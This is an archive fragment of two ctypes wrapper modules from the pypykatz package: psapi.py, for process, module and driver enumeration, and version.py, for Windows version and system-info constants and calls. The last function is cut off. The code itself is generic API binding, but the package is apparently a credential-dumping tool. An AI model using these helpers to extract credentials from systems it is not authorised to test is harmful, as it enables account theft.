"SeUnsolicitedInputPrivilege"././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/winapi/local/function_defs/psapi.py0000664000175000017500000003261214543266630025325 0ustar00webdevwebdev#!/usr/bin/env python # -*- coding: utf-8 -*- # Copyright (c) 2009-2016, Mario Vilas # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright notice, # this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above copyright # notice,this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # * Neither the name of the copyright holder nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. """ Wrapper for psapi.dll in ctypes. """ from .defines import * #============================================================================== # This is used later on to calculate the list of exported symbols. _all = None _all = set(vars().keys()) #============================================================================== #--- PSAPI structures and constants ------------------------------------------- LIST_MODULES_DEFAULT = 0x00 LIST_MODULES_32BIT = 0x01 LIST_MODULES_64BIT = 0x02 LIST_MODULES_ALL = 0x03 # typedef struct _MODULEINFO { # LPVOID lpBaseOfDll; # DWORD SizeOfImage; # LPVOID EntryPoint; # } MODULEINFO, *LPMODULEINFO; class MODULEINFO(Structure): _fields_ = [ ("lpBaseOfDll", LPVOID), # remote pointer ("SizeOfImage", DWORD), ("EntryPoint", LPVOID), # remote pointer ] LPMODULEINFO = POINTER(MODULEINFO) #--- psapi.dll ---------------------------------------------------------------- # BOOL WINAPI EnumDeviceDrivers( # __out LPVOID *lpImageBase, # __in DWORD cb, # __out LPDWORD lpcbNeeded # ); def EnumDeviceDrivers(): _EnumDeviceDrivers = windll.psapi.EnumDeviceDrivers _EnumDeviceDrivers.argtypes = [LPVOID, DWORD, LPDWORD] _EnumDeviceDrivers.restype = bool _EnumDeviceDrivers.errcheck = RaiseIfZero size = 0x1000 lpcbNeeded = DWORD(size) unit = sizeof(LPVOID) while 1: lpImageBase = (LPVOID * (size // unit))() _EnumDeviceDrivers(byref(lpImageBase), lpcbNeeded, byref(lpcbNeeded)) needed = lpcbNeeded.value if needed <= size: break size = needed return [ lpImageBase[index] for index in range(0, (needed // unit)) ] # BOOL WINAPI EnumProcesses( # __out DWORD *pProcessIds, # __in DWORD cb, # __out DWORD *pBytesReturned # ); def EnumProcesses(): _EnumProcesses = windll.psapi.EnumProcesses _EnumProcesses.argtypes = [LPVOID, DWORD, LPDWORD] _EnumProcesses.restype = bool _EnumProcesses.errcheck = RaiseIfZero size = 0x1000 cbBytesReturned = DWORD() unit = sizeof(DWORD) while 1: ProcessIds = (DWORD * (size // unit))() cbBytesReturned.value = size _EnumProcesses(byref(ProcessIds), cbBytesReturned, byref(cbBytesReturned)) returned = cbBytesReturned.value if returned < size: break size = size + 0x1000 ProcessIdList = {} for ProcessId in ProcessIds: if ProcessId is None: break ProcessIdList[ProcessId] = 1 return list(ProcessIdList.keys()) # BOOL WINAPI EnumProcessModules( # __in HANDLE hProcess, # __out HMODULE *lphModule, # __in DWORD cb, # __out LPDWORD lpcbNeeded # ); def EnumProcessModules(hProcess): _EnumProcessModules = windll.psapi.EnumProcessModules _EnumProcessModules.argtypes = [HANDLE, LPVOID, DWORD, LPDWORD] _EnumProcessModules.restype = bool _EnumProcessModules.errcheck = RaiseIfZero size = 0x1000 lpcbNeeded = DWORD(size) unit = sizeof(HMODULE) while 1: lphModule = (HMODULE * (size // unit))() _EnumProcessModules(hProcess, byref(lphModule), lpcbNeeded, byref(lpcbNeeded)) needed = lpcbNeeded.value if needed <= size: break size = needed return [ lphModule[index] for index in range(0, int(needed // unit)) ] # BOOL WINAPI EnumProcessModulesEx( # __in HANDLE hProcess, # __out HMODULE *lphModule, # __in DWORD cb, # __out LPDWORD lpcbNeeded, # __in DWORD dwFilterFlag # ); def EnumProcessModulesEx(hProcess, dwFilterFlag = LIST_MODULES_DEFAULT): _EnumProcessModulesEx = windll.psapi.EnumProcessModulesEx _EnumProcessModulesEx.argtypes = [HANDLE, LPVOID, DWORD, LPDWORD, DWORD] _EnumProcessModulesEx.restype = bool _EnumProcessModulesEx.errcheck = RaiseIfZero size = 0x1000 lpcbNeeded = DWORD(size) unit = sizeof(HMODULE) while 1: lphModule = (HMODULE * (size // unit))() _EnumProcessModulesEx(hProcess, byref(lphModule), lpcbNeeded, byref(lpcbNeeded), dwFilterFlag) needed = lpcbNeeded.value if needed <= size: break size = needed return [ lphModule[index] for index in range(0, (needed // unit)) ] # DWORD WINAPI GetDeviceDriverBaseName( # __in LPVOID ImageBase, # __out LPTSTR lpBaseName, # __in DWORD nSize # ); def GetDeviceDriverBaseNameA(ImageBase): _GetDeviceDriverBaseNameA = windll.psapi.GetDeviceDriverBaseNameA _GetDeviceDriverBaseNameA.argtypes = [LPVOID, LPSTR, DWORD] _GetDeviceDriverBaseNameA.restype = DWORD nSize = MAX_PATH while 1: lpBaseName = ctypes.create_string_buffer("", nSize) nCopied = _GetDeviceDriverBaseNameA(ImageBase, lpBaseName, nSize) if nCopied == 0: raise ctypes.WinError() if nCopied < (nSize - 1): break nSize = nSize + MAX_PATH return lpBaseName.value def GetDeviceDriverBaseNameW(ImageBase): _GetDeviceDriverBaseNameW = windll.psapi.GetDeviceDriverBaseNameW _GetDeviceDriverBaseNameW.argtypes = [LPVOID, LPWSTR, DWORD] _GetDeviceDriverBaseNameW.restype = DWORD nSize = MAX_PATH while 1: lpBaseName = ctypes.create_unicode_buffer(u"", nSize) nCopied = _GetDeviceDriverBaseNameW(ImageBase, lpBaseName, nSize) if nCopied == 0: raise ctypes.WinError() if nCopied < (nSize - 1): break nSize = nSize + MAX_PATH return lpBaseName.value GetDeviceDriverBaseName = GuessStringType(GetDeviceDriverBaseNameA, GetDeviceDriverBaseNameW) # DWORD WINAPI GetDeviceDriverFileName( # __in LPVOID ImageBase, # __out LPTSTR lpFilename, # __in DWORD nSize # ); def GetDeviceDriverFileNameA(ImageBase): _GetDeviceDriverFileNameA = windll.psapi.GetDeviceDriverFileNameA _GetDeviceDriverFileNameA.argtypes = [LPVOID, LPSTR, DWORD] _GetDeviceDriverFileNameA.restype = DWORD nSize = MAX_PATH while 1: lpFilename = ctypes.create_string_buffer("", nSize) nCopied = ctypes.windll.psapi.GetDeviceDriverFileNameA(ImageBase, lpFilename, nSize) if nCopied == 0: raise ctypes.WinError() if nCopied < (nSize - 1): break nSize = nSize + MAX_PATH return lpFilename.value def GetDeviceDriverFileNameW(ImageBase): _GetDeviceDriverFileNameW = windll.psapi.GetDeviceDriverFileNameW _GetDeviceDriverFileNameW.argtypes = [LPVOID, LPWSTR, DWORD] _GetDeviceDriverFileNameW.restype = DWORD nSize = MAX_PATH while 1: lpFilename = ctypes.create_unicode_buffer(u"", nSize) nCopied = ctypes.windll.psapi.GetDeviceDriverFileNameW(ImageBase, lpFilename, nSize) if nCopied == 0: raise ctypes.WinError() if nCopied < (nSize - 1): break nSize = nSize + MAX_PATH return lpFilename.value GetDeviceDriverFileName = GuessStringType(GetDeviceDriverFileNameA, GetDeviceDriverFileNameW) # DWORD WINAPI GetMappedFileName( # __in HANDLE hProcess, # __in LPVOID lpv, # __out LPTSTR lpFilename, # __in DWORD nSize # ); def GetMappedFileNameA(hProcess, lpv): _GetMappedFileNameA = ctypes.windll.psapi.GetMappedFileNameA _GetMappedFileNameA.argtypes = [HANDLE, LPVOID, LPSTR, DWORD] _GetMappedFileNameA.restype = DWORD nSize = MAX_PATH while 1: lpFilename = ctypes.create_string_buffer("", nSize) nCopied = _GetMappedFileNameA(hProcess, lpv, lpFilename, nSize) if nCopied == 0: raise ctypes.WinError() if nCopied < (nSize - 1): break nSize = nSize + MAX_PATH return lpFilename.value def GetMappedFileNameW(hProcess, lpv): _GetMappedFileNameW = ctypes.windll.psapi.GetMappedFileNameW _GetMappedFileNameW.argtypes = [HANDLE, LPVOID, LPWSTR, DWORD] _GetMappedFileNameW.restype = DWORD nSize = MAX_PATH while 1: lpFilename = ctypes.create_unicode_buffer(u"", nSize) nCopied = _GetMappedFileNameW(hProcess, lpv, lpFilename, nSize) if nCopied == 0: raise ctypes.WinError() if nCopied < (nSize - 1): break nSize = nSize + MAX_PATH return lpFilename.value GetMappedFileName = GuessStringType(GetMappedFileNameA, GetMappedFileNameW) # DWORD WINAPI GetModuleFileNameEx( # __in HANDLE hProcess, # __in_opt HMODULE hModule, # __out LPTSTR lpFilename, # __in DWORD nSize # ); def GetModuleFileNameExA(hProcess, hModule = None): _GetModuleFileNameExA = ctypes.windll.psapi.GetModuleFileNameExA _GetModuleFileNameExA.argtypes = [HANDLE, HMODULE, LPSTR, DWORD] _GetModuleFileNameExA.restype = DWORD nSize = MAX_PATH while 1: lpFilename = ctypes.create_string_buffer("", nSize) nCopied = _GetModuleFileNameExA(hProcess, hModule, lpFilename, nSize) if nCopied == 0: raise ctypes.WinError() if nCopied < (nSize - 1): break nSize = nSize + MAX_PATH return lpFilename.value def GetModuleFileNameExW(hProcess, hModule = None): _GetModuleFileNameExW = ctypes.windll.psapi.GetModuleFileNameExW _GetModuleFileNameExW.argtypes = [HANDLE, HMODULE, LPWSTR, DWORD] _GetModuleFileNameExW.restype = DWORD nSize = MAX_PATH while 1: lpFilename = ctypes.create_unicode_buffer(u"", nSize) nCopied = _GetModuleFileNameExW(hProcess, hModule, lpFilename, nSize) if nCopied == 0: raise ctypes.WinError() if nCopied < (nSize - 1): break nSize = nSize + MAX_PATH return lpFilename.value GetModuleFileNameEx = GuessStringType(GetModuleFileNameExA, GetModuleFileNameExW) # BOOL WINAPI GetModuleInformation( # __in HANDLE hProcess, # __in HMODULE hModule, # __out LPMODULEINFO lpmodinfo, # __in DWORD cb # ); def GetModuleInformation(hProcess, hModule, lpmodinfo = None): _GetModuleInformation = windll.psapi.GetModuleInformation _GetModuleInformation.argtypes = [HANDLE, HMODULE, LPMODULEINFO, DWORD] _GetModuleInformation.restype = bool _GetModuleInformation.errcheck = RaiseIfZero if lpmodinfo is None: lpmodinfo = MODULEINFO() _GetModuleInformation(hProcess, hModule, byref(lpmodinfo), sizeof(lpmodinfo)) return lpmodinfo # DWORD WINAPI GetProcessImageFileName( # __in HANDLE hProcess, # __out LPTSTR lpImageFileName, # __in DWORD nSize # ); def GetProcessImageFileNameA(hProcess): _GetProcessImageFileNameA = windll.psapi.GetProcessImageFileNameA _GetProcessImageFileNameA.argtypes = [HANDLE, LPSTR, DWORD] _GetProcessImageFileNameA.restype = DWORD nSize = MAX_PATH while 1: lpFilename = ctypes.create_string_buffer("", nSize) nCopied = _GetProcessImageFileNameA(hProcess, lpFilename, nSize) if nCopied == 0: raise ctypes.WinError() if nCopied < (nSize - 1): break nSize = nSize + MAX_PATH return lpFilename.value def GetProcessImageFileNameW(hProcess): _GetProcessImageFileNameW = windll.psapi.GetProcessImageFileNameW _GetProcessImageFileNameW.argtypes = [HANDLE, LPWSTR, DWORD] _GetProcessImageFileNameW.restype = DWORD nSize = MAX_PATH while 1: lpFilename = ctypes.create_unicode_buffer(u"", nSize) nCopied = _GetProcessImageFileNameW(hProcess, lpFilename, nSize) if nCopied == 0: raise ctypes.WinError() if nCopied < (nSize - 1): break nSize = nSize + MAX_PATH return lpFilename.value GetProcessImageFileName = GuessStringType(GetProcessImageFileNameA, GetProcessImageFileNameW) #============================================================================== # This calculates the list of exported symbols. _all = set(vars().keys()).difference(_all) __all__ = [_x for _x in _all if not _x.startswith('_')] __all__.sort() #============================================================================== ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/winapi/local/function_defs/version.py0000664000175000017500000010764714543266630025711 0ustar00webdevwebdev#!/usr/bin/env python # -*- coding: utf-8 -*- # Copyright (c) 2009-2016, Mario Vilas # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright notice, # this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above copyright # notice,this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # * Neither the name of the copyright holder nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. """ Detect the current architecture and operating system. Some functions here are really from kernel32.dll, others from version.dll. """ from .defines import * #============================================================================== # This is used later on to calculate the list of exported symbols. _all = None _all = set(vars().keys()) #============================================================================== #--- NTDDI version ------------------------------------------------------------ NTDDI_WIN8 = 0x06020000 NTDDI_WIN7SP1 = 0x06010100 NTDDI_WIN7 = 0x06010000 NTDDI_WS08 = 0x06000100 NTDDI_VISTASP1 = 0x06000100 NTDDI_VISTA = 0x06000000 NTDDI_LONGHORN = NTDDI_VISTA NTDDI_WS03SP2 = 0x05020200 NTDDI_WS03SP1 = 0x05020100 NTDDI_WS03 = 0x05020000 NTDDI_WINXPSP3 = 0x05010300 NTDDI_WINXPSP2 = 0x05010200 NTDDI_WINXPSP1 = 0x05010100 NTDDI_WINXP = 0x05010000 NTDDI_WIN2KSP4 = 0x05000400 NTDDI_WIN2KSP3 = 0x05000300 NTDDI_WIN2KSP2 = 0x05000200 NTDDI_WIN2KSP1 = 0x05000100 NTDDI_WIN2K = 0x05000000 NTDDI_WINNT4 = 0x04000000 OSVERSION_MASK = 0xFFFF0000 SPVERSION_MASK = 0x0000FF00 SUBVERSION_MASK = 0x000000FF #--- OSVERSIONINFO and OSVERSIONINFOEX structures and constants --------------- VER_PLATFORM_WIN32s = 0 VER_PLATFORM_WIN32_WINDOWS = 1 VER_PLATFORM_WIN32_NT = 2 VER_SUITE_BACKOFFICE = 0x00000004 VER_SUITE_BLADE = 0x00000400 VER_SUITE_COMPUTE_SERVER = 0x00004000 VER_SUITE_DATACENTER = 0x00000080 VER_SUITE_ENTERPRISE = 0x00000002 VER_SUITE_EMBEDDEDNT = 0x00000040 VER_SUITE_PERSONAL = 0x00000200 VER_SUITE_SINGLEUSERTS = 0x00000100 VER_SUITE_SMALLBUSINESS = 0x00000001 VER_SUITE_SMALLBUSINESS_RESTRICTED = 0x00000020 VER_SUITE_STORAGE_SERVER = 0x00002000 VER_SUITE_TERMINAL = 0x00000010 VER_SUITE_WH_SERVER = 0x00008000 VER_NT_DOMAIN_CONTROLLER = 0x0000002 VER_NT_SERVER = 0x0000003 VER_NT_WORKSTATION = 0x0000001 VER_BUILDNUMBER = 0x0000004 VER_MAJORVERSION = 0x0000002 VER_MINORVERSION = 0x0000001 VER_PLATFORMID = 0x0000008 VER_PRODUCT_TYPE = 0x0000080 VER_SERVICEPACKMAJOR = 0x0000020 VER_SERVICEPACKMINOR = 0x0000010 VER_SUITENAME = 0x0000040 VER_EQUAL = 1 VER_GREATER = 2 VER_GREATER_EQUAL = 3 VER_LESS = 4 VER_LESS_EQUAL = 5 VER_AND = 6 VER_OR = 7 # typedef struct _OSVERSIONINFO { # DWORD dwOSVersionInfoSize; # DWORD dwMajorVersion; # DWORD dwMinorVersion; # DWORD dwBuildNumber; # DWORD dwPlatformId; # TCHAR szCSDVersion[128]; # }OSVERSIONINFO; class OSVERSIONINFOA(Structure): _fields_ = [ ("dwOSVersionInfoSize", DWORD), ("dwMajorVersion", DWORD), ("dwMinorVersion", DWORD), ("dwBuildNumber", DWORD), ("dwPlatformId", DWORD), ("szCSDVersion", CHAR * 128), ] class OSVERSIONINFOW(Structure): _fields_ = [ ("dwOSVersionInfoSize", DWORD), ("dwMajorVersion", DWORD), ("dwMinorVersion", DWORD), ("dwBuildNumber", DWORD), ("dwPlatformId", DWORD), ("szCSDVersion", WCHAR * 128), ] # typedef struct _OSVERSIONINFOEX { # DWORD dwOSVersionInfoSize; # DWORD dwMajorVersion; # DWORD dwMinorVersion; # DWORD dwBuildNumber; # DWORD dwPlatformId; # TCHAR szCSDVersion[128]; # WORD wServicePackMajor; # WORD wServicePackMinor; # WORD wSuiteMask; # BYTE wProductType; # BYTE wReserved; # }OSVERSIONINFOEX, *POSVERSIONINFOEX, *LPOSVERSIONINFOEX; class OSVERSIONINFOEXA(Structure): _fields_ = [ ("dwOSVersionInfoSize", DWORD), ("dwMajorVersion", DWORD), ("dwMinorVersion", DWORD), ("dwBuildNumber", DWORD), ("dwPlatformId", DWORD), ("szCSDVersion", CHAR * 128), ("wServicePackMajor", WORD), ("wServicePackMinor", WORD), ("wSuiteMask", WORD), ("wProductType", BYTE), ("wReserved", BYTE), ] class OSVERSIONINFOEXW(Structure): _fields_ = [ ("dwOSVersionInfoSize", DWORD), ("dwMajorVersion", DWORD), ("dwMinorVersion", DWORD), ("dwBuildNumber", DWORD), ("dwPlatformId", DWORD), ("szCSDVersion", WCHAR * 128), ("wServicePackMajor", WORD), ("wServicePackMinor", WORD), ("wSuiteMask", WORD), ("wProductType", BYTE), ("wReserved", BYTE), ] LPOSVERSIONINFOA = POINTER(OSVERSIONINFOA) LPOSVERSIONINFOW = POINTER(OSVERSIONINFOW) LPOSVERSIONINFOEXA = POINTER(OSVERSIONINFOEXA) LPOSVERSIONINFOEXW = POINTER(OSVERSIONINFOEXW) POSVERSIONINFOA = LPOSVERSIONINFOA POSVERSIONINFOW = LPOSVERSIONINFOW POSVERSIONINFOEXA = LPOSVERSIONINFOEXA POSVERSIONINFOEXW = LPOSVERSIONINFOA #--- GetSystemMetrics constants ----------------------------------------------- SM_CXSCREEN = 0 SM_CYSCREEN = 1 SM_CXVSCROLL = 2 SM_CYHSCROLL = 3 SM_CYCAPTION = 4 SM_CXBORDER = 5 SM_CYBORDER = 6 SM_CXDLGFRAME = 7 SM_CYDLGFRAME = 8 SM_CYVTHUMB = 9 SM_CXHTHUMB = 10 SM_CXICON = 11 SM_CYICON = 12 SM_CXCURSOR = 13 SM_CYCURSOR = 14 SM_CYMENU = 15 SM_CXFULLSCREEN = 16 SM_CYFULLSCREEN = 17 SM_CYKANJIWINDOW = 18 SM_MOUSEPRESENT = 19 SM_CYVSCROLL = 20 SM_CXHSCROLL = 21 SM_DEBUG = 22 SM_SWAPBUTTON = 23 SM_RESERVED1 = 24 SM_RESERVED2 = 25 SM_RESERVED3 = 26 SM_RESERVED4 = 27 SM_CXMIN = 28 SM_CYMIN = 29 SM_CXSIZE = 30 SM_CYSIZE = 31 SM_CXFRAME = 32 SM_CYFRAME = 33 SM_CXMINTRACK = 34 SM_CYMINTRACK = 35 SM_CXDOUBLECLK = 36 SM_CYDOUBLECLK = 37 SM_CXICONSPACING = 38 SM_CYICONSPACING = 39 SM_MENUDROPALIGNMENT = 40 SM_PENWINDOWS = 41 SM_DBCSENABLED = 42 SM_CMOUSEBUTTONS = 43 SM_CXFIXEDFRAME = SM_CXDLGFRAME # ;win40 name change SM_CYFIXEDFRAME = SM_CYDLGFRAME # ;win40 name change SM_CXSIZEFRAME = SM_CXFRAME # ;win40 name change SM_CYSIZEFRAME = SM_CYFRAME # ;win40 name change SM_SECURE = 44 SM_CXEDGE = 45 SM_CYEDGE = 46 SM_CXMINSPACING = 47 SM_CYMINSPACING = 48 SM_CXSMICON = 49 SM_CYSMICON = 50 SM_CYSMCAPTION = 51 SM_CXSMSIZE = 52 SM_CYSMSIZE = 53 SM_CXMENUSIZE = 54 SM_CYMENUSIZE = 55 SM_ARRANGE = 56 SM_CXMINIMIZED = 57 SM_CYMINIMIZED = 58 SM_CXMAXTRACK = 59 SM_CYMAXTRACK = 60 SM_CXMAXIMIZED = 61 SM_CYMAXIMIZED = 62 SM_NETWORK = 63 SM_CLEANBOOT = 67 SM_CXDRAG = 68 SM_CYDRAG = 69 SM_SHOWSOUNDS = 70 SM_CXMENUCHECK = 71 # Use instead of GetMenuCheckMarkDimensions()! SM_CYMENUCHECK = 72 SM_SLOWMACHINE = 73 SM_MIDEASTENABLED = 74 SM_MOUSEWHEELPRESENT = 75 SM_XVIRTUALSCREEN = 76 SM_YVIRTUALSCREEN = 77 SM_CXVIRTUALSCREEN = 78 SM_CYVIRTUALSCREEN = 79 SM_CMONITORS = 80 SM_SAMEDISPLAYFORMAT = 81 SM_IMMENABLED = 82 SM_CXFOCUSBORDER = 83 SM_CYFOCUSBORDER = 84 SM_TABLETPC = 86 SM_MEDIACENTER = 87 SM_STARTER = 88 SM_SERVERR2 = 89 SM_MOUSEHORIZONTALWHEELPRESENT = 91 SM_CXPADDEDBORDER = 92 SM_CMETRICS = 93 SM_REMOTESESSION = 0x1000 SM_SHUTTINGDOWN = 0x2000 SM_REMOTECONTROL = 0x2001 SM_CARETBLINKINGENABLED = 0x2002 #--- SYSTEM_INFO structure, GetSystemInfo() and GetNativeSystemInfo() --------- # Values used by Wine # Documented values at MSDN are marked with an asterisk PROCESSOR_ARCHITECTURE_UNKNOWN = 0xFFFF; # Unknown architecture. PROCESSOR_ARCHITECTURE_INTEL = 0 # x86 (AMD or Intel) * PROCESSOR_ARCHITECTURE_MIPS = 1 # MIPS PROCESSOR_ARCHITECTURE_ALPHA = 2 # Alpha PROCESSOR_ARCHITECTURE_PPC = 3 # Power PC PROCESSOR_ARCHITECTURE_SHX = 4 # SHX PROCESSOR_ARCHITECTURE_ARM = 5 # ARM PROCESSOR_ARCHITECTURE_IA64 = 6 # Intel Itanium * PROCESSOR_ARCHITECTURE_ALPHA64 = 7 # Alpha64 PROCESSOR_ARCHITECTURE_MSIL = 8 # MSIL PROCESSOR_ARCHITECTURE_AMD64 = 9 # x64 (AMD or Intel) * PROCESSOR_ARCHITECTURE_IA32_ON_WIN64 = 10 # IA32 on Win64 PROCESSOR_ARCHITECTURE_SPARC = 20 # Sparc (Wine) # Values used by Wine # PROCESSOR_OPTIL value found at http://code.google.com/p/ddab-lib/ # Documented values at MSDN are marked with an asterisk PROCESSOR_INTEL_386 = 386 # Intel i386 * PROCESSOR_INTEL_486 = 486 # Intel i486 * PROCESSOR_INTEL_PENTIUM = 586 # Intel Pentium * PROCESSOR_INTEL_IA64 = 2200 # Intel IA64 (Itanium) * PROCESSOR_AMD_X8664 = 8664 # AMD X86 64 * PROCESSOR_MIPS_R4000 = 4000 # MIPS R4000, R4101, R3910 PROCESSOR_ALPHA_21064 = 21064 # Alpha 210 64 PROCESSOR_PPC_601 = 601 # PPC 601 PROCESSOR_PPC_603 = 603 # PPC 603 PROCESSOR_PPC_604 = 604 # PPC 604 PROCESSOR_PPC_620 = 620 # PPC 620 PROCESSOR_HITACHI_SH3 = 10003 # Hitachi SH3 (Windows CE) PROCESSOR_HITACHI_SH3E = 10004 # Hitachi SH3E (Windows CE) PROCESSOR_HITACHI_SH4 = 10005 # Hitachi SH4 (Windows CE) PROCESSOR_MOTOROLA_821 = 821 # Motorola 821 (Windows CE) PROCESSOR_SHx_SH3 = 103 # SHx SH3 (Windows CE) PROCESSOR_SHx_SH4 = 104 # SHx SH4 (Windows CE) PROCESSOR_STRONGARM = 2577 # StrongARM (Windows CE) PROCESSOR_ARM720 = 1824 # ARM 720 (Windows CE) PROCESSOR_ARM820 = 2080 # ARM 820 (Windows CE) PROCESSOR_ARM920 = 2336 # ARM 920 (Windows CE) PROCESSOR_ARM_7TDMI = 70001 # ARM 7TDMI (Windows CE) PROCESSOR_OPTIL = 0x494F # MSIL # typedef struct _SYSTEM_INFO { # union { # DWORD dwOemId; # struct { # WORD wProcessorArchitecture; # WORD wReserved; # } ; # } ; # DWORD dwPageSize; # LPVOID lpMinimumApplicationAddress; # LPVOID lpMaximumApplicationAddress; # DWORD_PTR dwActiveProcessorMask; # DWORD dwNumberOfProcessors; # DWORD dwProcessorType; # DWORD dwAllocationGranularity; # WORD wProcessorLevel; # WORD wProcessorRevision; # } SYSTEM_INFO; class _SYSTEM_INFO_OEM_ID_STRUCT(Structure): _fields_ = [ ("wProcessorArchitecture", WORD), ("wReserved", WORD), ] class _SYSTEM_INFO_OEM_ID(Union): _fields_ = [ ("dwOemId", DWORD), ("w", _SYSTEM_INFO_OEM_ID_STRUCT), ] class SYSTEM_INFO(Structure): _fields_ = [ ("id", _SYSTEM_INFO_OEM_ID), ("dwPageSize", DWORD), ("lpMinimumApplicationAddress", LPVOID), ("lpMaximumApplicationAddress", LPVOID), ("dwActiveProcessorMask", DWORD_PTR), ("dwNumberOfProcessors", DWORD), ("dwProcessorType", DWORD), ("dwAllocationGranularity", DWORD), ("wProcessorLevel", WORD), ("wProcessorRevision", WORD), ] def __get_dwOemId(self): return self.id.dwOemId def __set_dwOemId(self, value): self.id.dwOemId = value dwOemId = property(__get_dwOemId, __set_dwOemId) def __get_wProcessorArchitecture(self): return self.id.w.wProcessorArchitecture def __set_wProcessorArchitecture(self, value): self.id.w.wProcessorArchitecture = value wProcessorArchitecture = property(__get_wProcessorArchitecture, __set_wProcessorArchitecture) LPSYSTEM_INFO = ctypes.POINTER(SYSTEM_INFO) # void WINAPI GetSystemInfo( # __out LPSYSTEM_INFO lpSystemInfo # ); def GetSystemInfo(): _GetSystemInfo = windll.kernel32.GetSystemInfo _GetSystemInfo.argtypes = [LPSYSTEM_INFO] _GetSystemInfo.restype = None sysinfo = SYSTEM_INFO() _GetSystemInfo(byref(sysinfo)) return sysinfo # void WINAPI GetNativeSystemInfo( # __out LPSYSTEM_INFO lpSystemInfo # ); def GetNativeSystemInfo(): _GetNativeSystemInfo = windll.kernel32.GetNativeSystemInfo _GetNativeSystemInfo.argtypes = [LPSYSTEM_INFO] _GetNativeSystemInfo.restype = None sysinfo = SYSTEM_INFO() _GetNativeSystemInfo(byref(sysinfo)) return sysinfo # int WINAPI GetSystemMetrics( # __in int nIndex # ); def GetSystemMetrics(nIndex): _GetSystemMetrics = windll.user32.GetSystemMetrics _GetSystemMetrics.argtypes = [ctypes.c_int] _GetSystemMetrics.restype = ctypes.c_int return _GetSystemMetrics(nIndex) # SIZE_T WINAPI GetLargePageMinimum(void); def GetLargePageMinimum(): _GetLargePageMinimum = windll.user32.GetLargePageMinimum _GetLargePageMinimum.argtypes = [] _GetLargePageMinimum.restype = SIZE_T return _GetLargePageMinimum() # HANDLE WINAPI GetCurrentProcess(void); def GetCurrentProcess(): ## return 0xFFFFFFFFFFFFFFFFL _GetCurrentProcess = windll.kernel32.GetCurrentProcess _GetCurrentProcess.argtypes = [] _GetCurrentProcess.restype = HANDLE return _GetCurrentProcess() # HANDLE WINAPI GetCurrentThread(void); def GetCurrentThread(): ## return 0xFFFFFFFFFFFFFFFEL _GetCurrentThread = windll.kernel32.GetCurrentThread _GetCurrentThread.argtypes = [] _GetCurrentThread.restype = HANDLE return _GetCurrentThread() # BOOL WINAPI IsWow64Process( # __in HANDLE hProcess, # __out PBOOL Wow64Process # ); def IsWow64Process(hProcess): _IsWow64Process = windll.kernel32.IsWow64Process _IsWow64Process.argtypes = [HANDLE, PBOOL] _IsWow64Process.restype = bool _IsWow64Process.errcheck = RaiseIfZero Wow64Process = BOOL(FALSE) _IsWow64Process(hProcess, byref(Wow64Process)) return bool(Wow64Process) # DWORD WINAPI GetVersion(void); def GetVersion(): _GetVersion = windll.kernel32.GetVersion _GetVersion.argtypes = [] _GetVersion.restype = DWORD _GetVersion.errcheck = RaiseIfZero # See the example code here: # http://msdn.microsoft.com/en-us/library/ms724439(VS.85).aspx dwVersion = _GetVersion() dwMajorVersion = dwVersion & 0x000000FF dwMinorVersion = (dwVersion & 0x0000FF00) >> 8 if (dwVersion & 0x80000000) == 0: dwBuild = (dwVersion & 0x7FFF0000) >> 16 else: dwBuild = None return int(dwMajorVersion), int(dwMinorVersion), int(dwBuild) # BOOL WINAPI GetVersionEx( # __inout LPOSVERSIONINFO lpVersionInfo # ); def GetVersionExA(): _GetVersionExA = windll.kernel32.GetVersionExA _GetVersionExA.argtypes = [POINTER(OSVERSIONINFOEXA)] _GetVersionExA.restype = bool _GetVersionExA.errcheck = 